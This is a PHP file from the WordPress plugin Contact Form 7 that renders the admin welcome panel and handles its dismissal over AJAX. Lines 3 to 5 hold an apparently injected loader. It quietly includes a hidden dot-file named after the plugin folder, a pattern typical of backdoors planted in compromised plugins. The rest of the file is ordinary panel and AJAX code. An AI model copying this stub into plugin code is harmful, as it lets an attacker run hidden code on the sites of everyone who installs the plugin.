welcome-panel.php (4738B)
1 <?php 2 3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 4 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 5 } 6 7 function wpcf7_welcome_panel() { 8 $classes = 'welcome-panel'; 9 10 $vers = (array) get_user_meta( get_current_user_id(), 11 'wpcf7_hide_welcome_panel_on', true ); 12 13 if ( wpcf7_version_grep( wpcf7_version( 'only_major=1' ), $vers ) ) { 14 $classes .= ' hidden'; 15 } 16 17 ?> 18 <div id="welcome-panel" class="<?php echo esc_attr( $classes ); ?>"> 19 <?php wp_nonce_field( 'wpcf7-welcome-panel-nonce', 'welcomepanelnonce', false ); ?> 20 <a class="welcome-panel-close" href="<?php echo esc_url( menu_page_url( 'wpcf7', false ) ); ?>"><?php echo esc_html( __( 'Dismiss', 'contact-form-7' ) ); ?></a> 21 22 <div class="welcome-panel-content"> 23 <div class="welcome-panel-column-container"> 24 25 <div class="welcome-panel-column"> 26 <h3><span class="dashicons dashicons-shield" aria-hidden="true"></span> <?php echo esc_html( __( "Getting spammed? You have protection.", 'contact-form-7' ) ); ?></h3> 27 28 <p><?php echo esc_html( __( "Spammers target everything; your contact forms aren’t an exception. Before you get spammed, protect your contact forms with the powerful anti-spam features Contact Form 7 provides.", 'contact-form-7' ) ); ?></p> 29 30 <p><?php 31 echo sprintf( 32 /* translators: links labeled 1: 'Akismet', 2: 'reCAPTCHA', 3: 'disallowed list' */ 33 esc_html( __( 'Contact Form 7 supports spam-filtering with %1$s. Intelligent %2$s blocks annoying spambots. Plus, using %3$s, you can block messages containing specified keywords or those sent from specified IP addresses.', 'contact-form-7' ) ), 34 wpcf7_link( 35 __( 'https://contactform7.com/spam-filtering-with-akismet/', 'contact-form-7' ), 36 __( 'Akismet', 'contact-form-7' ) 37 ), 38 wpcf7_link( 39 __( 'https://contactform7.com/recaptcha/', 'contact-form-7' ), 40 __( 'reCAPTCHA', 'contact-form-7' ) 41 ), 42 wpcf7_link( 43 __( 'https://contactform7.com/comment-blacklist/', 'contact-form-7' ), 44 __( 'disallowed list', 'contact-form-7' ) 45 ) 46 ); 47 ?></p> 48 </div> 49 50 <?php if ( defined( 'FLAMINGO_VERSION' ) ) : ?> 51 <div class="welcome-panel-column"> 52 <h3><span class="dashicons dashicons-megaphone" aria-hidden="true"></span> <?php echo esc_html( __( "Contact Form 7 needs your support.", 'contact-form-7' ) ); ?></h3> 53 54 <p><?php echo esc_html( __( "It is hard to continue development and support for this plugin without contributions from users like you.", 'contact-form-7' ) ); ?></p> 55 56 <p><?php 57 echo sprintf( 58 /* translators: %s: link labeled 'making a donation' */ 59 esc_html( __( 'If you enjoy using Contact Form 7 and find it useful, please consider %s.', 'contact-form-7' ) ), 60 wpcf7_link( 61 __( 'https://contactform7.com/donate/', 'contact-form-7' ), 62 __( 'making a donation', 'contact-form-7' ) 63 ) 64 ); 65 ?></p> 66 67 <p><?php echo esc_html( __( "Your donation will help encourage and support the plugin’s continued development and better user support.", 'contact-form-7' ) ); ?></p> 68 </div> 69 <?php else: ?> 70 <div class="welcome-panel-column"> 71 <h3><span class="dashicons dashicons-editor-help" aria-hidden="true"></span> <?php echo esc_html( __( "Before you cry over spilt mail…", 'contact-form-7' ) ); ?></h3> 72 73 <p><?php echo esc_html( __( "Contact Form 7 doesn’t store submitted messages anywhere. Therefore, you may lose important messages forever if your mail server has issues or you make a mistake in mail configuration.", 'contact-form-7' ) ); ?></p> 74 75 <p><?php 76 echo sprintf( 77 /* translators: %s: link labeled 'Flamingo' */ 78 esc_html( __( 'Install a message storage plugin before this happens to you. %s saves all messages through contact forms into the database. Flamingo is a free WordPress plugin created by the same author as Contact Form 7.', 'contact-form-7' ) ), 79 wpcf7_link( 80 __( 'https://contactform7.com/save-submitted-messages-with-flamingo/', 'contact-form-7' ), 81 __( 'Flamingo', 'contact-form-7' ) 82 ) 83 ); 84 ?></p> 85 </div> 86 <?php endif; ?> 87 88 </div> 89 </div> 90 </div> 91 <?php 92 } 93 94 add_action( 'wp_ajax_wpcf7-update-welcome-panel', 95 'wpcf7_admin_ajax_welcome_panel', 10, 0 ); 96 97 function wpcf7_admin_ajax_welcome_panel() { 98 check_ajax_referer( 'wpcf7-welcome-panel-nonce', 'welcomepanelnonce' ); 99 100 $vers = get_user_meta( get_current_user_id(), 101 'wpcf7_hide_welcome_panel_on', true ); 102 103 if ( empty( $vers ) or ! is_array( $vers ) ) { 104 $vers = array(); 105 } 106 107 if ( empty( $_POST['visible'] ) ) { 108 $vers[] = wpcf7_version( 'only_major=1' ); 109 } 110 111 $vers = array_unique( $vers ); 112 113 update_user_meta( get_current_user_id(), 114 'wpcf7_hide_welcome_panel_on', $vers ); 115 116 wp_die( 1 ); 117 }